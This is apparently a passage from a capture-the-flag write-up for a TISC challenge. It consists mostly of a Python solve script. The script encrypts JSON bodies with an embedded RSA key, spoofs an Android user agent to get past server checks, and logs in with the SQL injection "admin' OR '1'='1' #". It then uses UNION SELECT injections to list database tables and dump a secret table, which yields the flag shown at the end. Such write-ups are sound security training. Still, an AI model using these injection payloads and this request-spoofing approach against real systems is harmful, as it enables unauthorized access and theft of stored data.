pub_der = base64.b64decode(RSA_PUBLIC_KEY_B64)
if _which_crypto == "cryptography":
from cryptography.hazmat.primitives.serialization import load_der_public_key
pub = load_der_public_key(pub_der, backend=default_backend())
ciphertext = pub.encrypt(data, padding.PKCS1v15())
elif _which_crypto == "pycryptodome":
key = RSA.import_key(pub_der)
cipher = PKCS1_v1_5.new(key)
ciphertext = cipher.encrypt(data)
else:
_ensure_reqs() # will raise with helpful message
raise AssertionError("unreachable")
return base64.b64encode(ciphertext).decode("ascii")
def encrypt_body(payload: Dict) -> Dict:
return {"data": rsa_encrypt_pkcs1_v15(payload)}
def build_cert_file() -> str:
"""Write embedded base64 cert to a temp PEM file and return its path."""
der_b64 = SIGNULL_CERT_B64
# Wrap into PEM (64-char lines)
wrapped = "\n".join(
der_b64[i : i + 64] for i in range(0, len(der_b64), 64)
)
pem = f"-----BEGIN CERTIFICATE-----\n{wrapped}\n-----END CERTIFICATE-----\n"
tmp = tempfile.NamedTemporaryFile(prefix="signull_", suffix=".crt", delete=False)
tmp.write(pem.encode("ascii"))
tmp.flush(); tmp.close()
return tmp.name
def post_json(
path: str,
body: Dict,
verify_cert_path: str,
session: Optional["requests.Session"] = None,
extra_headers: Optional[Dict[str, str]] = None,
cookies: Optional[Dict[str, str]] = None,
) -> Tuple[int, Dict | str]:
url = BASE_URL + path
try:
sess = session or requests
headers = {
"Content-Type": "application/json",
# Mimic Android/Volley default-ish UA to avoid server gating
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; Pixel Build/SP1A.210812.015) Volley/1.2.1",
"Accept": "application/json, */*",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
}
if extra_headers:
headers.update(extra_headers)
resp = sess.post(url, json=body, headers=headers, timeout=15, verify=verify_cert_path, cookies=cookies)
ct = resp.headers.get("Content-Type", "")
if "application/json" in ct:
return resp.status_code, resp.json()
return resp.status_code, resp.text
except Exception as e:
return 0, f"Request error: {e}"
# body_clear = {
# "messageId": "1",
# "csrfToken": "3734323764303635663166393366613763643538346634323038666461656531",
# "access_token": "k5tf8hjik9m3i52h982ffnbjo4",
# }
body_clear = {
"username": "admin' OR '1'='1' # ",
"password": "abc123"
}
cert_path = build_cert_file()
body = encrypt_body(body_clear)
code, out = post_json("/index.php", body, cert_path)
out = json.loads(out)
csrf, access = out["csrfToken"], out["access_token"]
body_clear["csrfToken"] = csrf
body_clear["access_token"] = access
print(f"request: {json.dumps(body_clear)}")
body = encrypt_body(body_clear)
code, out = post_json("/login.php", body, cert_path)
print(f"result: {out}")
out = json.loads(out)
body2 = {
"messageId": """0 UNION SELECT TABLE_CATALOG,TABLE_NAME FROM information_schema.tables #""",
"csrfToken": out["csrfToken"],
"access_token": out["access_token"]
}
body = encrypt_body(body2)
code, out2 = post_json("/message.php", body, cert_path)
print(out2)
secret_table_name = input("Enter secret table name: ")
body3 = {
"messageId": f"""0 UNION SELECT * FROM {secret_table_name} #""",
"csrfToken": out["csrfToken"],
"access_token": out["access_token"]
}
body = encrypt_body(body3)
code, out = post_json("/message.php", body, cert_path)
print(out) # c_15_th3_B1GG35T_5c4m}
So the final flag is TISC{Th3_53cr3t_15_r0p11c_15_th3_B1GG35T_5c4m}
Last updated